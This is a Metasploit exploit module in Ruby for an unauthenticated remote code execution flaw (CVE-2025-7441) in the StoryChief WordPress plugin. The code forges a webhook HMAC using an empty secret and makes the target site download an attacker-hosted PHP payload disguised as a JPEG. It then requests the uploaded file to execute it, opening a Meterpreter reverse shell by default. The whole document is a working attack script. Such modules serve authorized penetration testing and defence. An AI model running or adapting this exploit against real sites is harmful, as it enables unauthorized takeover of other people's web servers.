## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress StoryChief Plugin Unauthenticated RCE', 'Description' => %q{ This module exploits an unauthenticated arbitrary file upload vulnerability in the StoryChief WordPress plugin <= 1.0.42. The plugin exposes a webhook endpoint at /wp-json/storychief/webhook which accepts a forged HMAC. Because the plugin uses an empty secret for HMAC validation, attackers can compute a valid MAC and force WordPress to download and store attacker-controlled PHP content inside the uploads directory, resulting in remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'xpl0dec', # Original PoC 'Nayera' # Metasploit module ], 'References' => [ ['CVE', '2025-7441'], ['EDB', '52422'], ['URL', 'https://github.com/Story-Chief/wordpress'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Target', {}] ], 'DisclosureDate' => '2025-08-04', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 15 }, 'Privileged' => false, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path to WordPress', '/']) ]) end # # Check Method # def check return CheckCode::Safe('WordPress not detected') unless wordpress_and_online? res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief') ) unless res && res.code == 200 return CheckCode::Safe('StoryChief REST namespace not found') end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'), 'ctype' => 'application/json', 'data' => '{"meta":{"mac":"","event":"publish"},"data":{}}' ) return CheckCode::Unknown('No response from webhook endpoint') unless res return CheckCode::Appears('StoryChief webhook endpoint reachable and likely vulnerable') if res.code != 404 CheckCode::Safe('Webhook endpoint returned 404. The plugin may not be installed, permalinks may not be configured, or the target is not vulnerable.') end # # Serve malicious PHP payload # def on_request_uri(cli, _req) print_good("Serving malicious payload to #{cli.peerhost}") php_payload = payload.encoded send_response( cli, php_payload, 'Content-Type' => 'image/jpeg' ) close_client(cli) end # # Generate JSON body + HMAC # def generate_signed_body(remote_url) body_hash = { 'meta' => { 'event' => 'publish' }, 'data' => { 'featured_image' => { 'data' => { 'sizes' => { 'full' => remote_url } } } } } json_body = JSON.generate(body_hash).gsub('/', '\\/') signature = OpenSSL::HMAC.hexdigest('sha256', '', json_body) body_hash['meta']['mac'] = signature JSON.generate(body_hash) end # # Attempt to trigger uploaded shell # def trigger_shell(filename) now = Time.now upload_path = normalize_uri( target_uri.path, 'wp-content', 'uploads', now.year.to_s, format('%02d', now.month), filename ) print_status("Attempting to execute uploaded payload at #{upload_path}") res = send_request_cgi( 'method' => 'GET', 'uri' => upload_path ) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Uploaded payload did not return HTTP 200, execution likely failed') end end # # Main Exploit # def exploit payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php" register_file_for_cleanup(payload_name) print_status('Starting local HTTP server for payload hosting') start_service( 'Uri' => { 'Path' => "/#{payload_name}", 'Proc' => proc { |cli, req| on_request_uri(cli, req) } } ) payload_url = "#{get_uri.chomp('/')}/#{payload_name}" print_status("Payload URL: #{payload_url}") request_body = generate_signed_body(payload_url) print_status('Sending malicious webhook request') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wp-json', 'storychief', 'webhook'), 'ctype' => 'application/json', 'data' => request_body ) fail_with(Failure::Unreachable, 'No response from target') unless res unless res.code == 200 && res.body.include?('permalink') fail_with(Failure::UnexpectedReply, "Unexpected response (#{res.code})") end print_good('Webhook accepted payload — attempting execution') trigger_shell(payload_name) end end